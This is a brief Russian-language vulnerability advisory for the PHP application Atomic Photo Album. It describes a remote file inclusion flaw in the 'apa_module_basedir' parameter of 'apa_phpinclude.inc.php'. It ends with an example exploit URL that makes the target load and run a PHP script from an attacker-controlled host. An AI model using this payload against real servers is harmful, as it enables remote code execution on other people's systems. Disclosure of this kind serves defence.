Программа: Atomic Photo Album
Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость
существует в сценарии 'apa_phpinclude.inc.php' из-за
недостаточной обработки входных данных в
параметре 'apa_module_basedir'. Удаленный
пользователь может с помощью специально
сформированного URL выполнить произвольный
PHP сценарий на целевой системе.
Пример:
http://[target]/[dir]/apa_phpinclude.inc.php? apa_module_basedir=http://[attacker]/
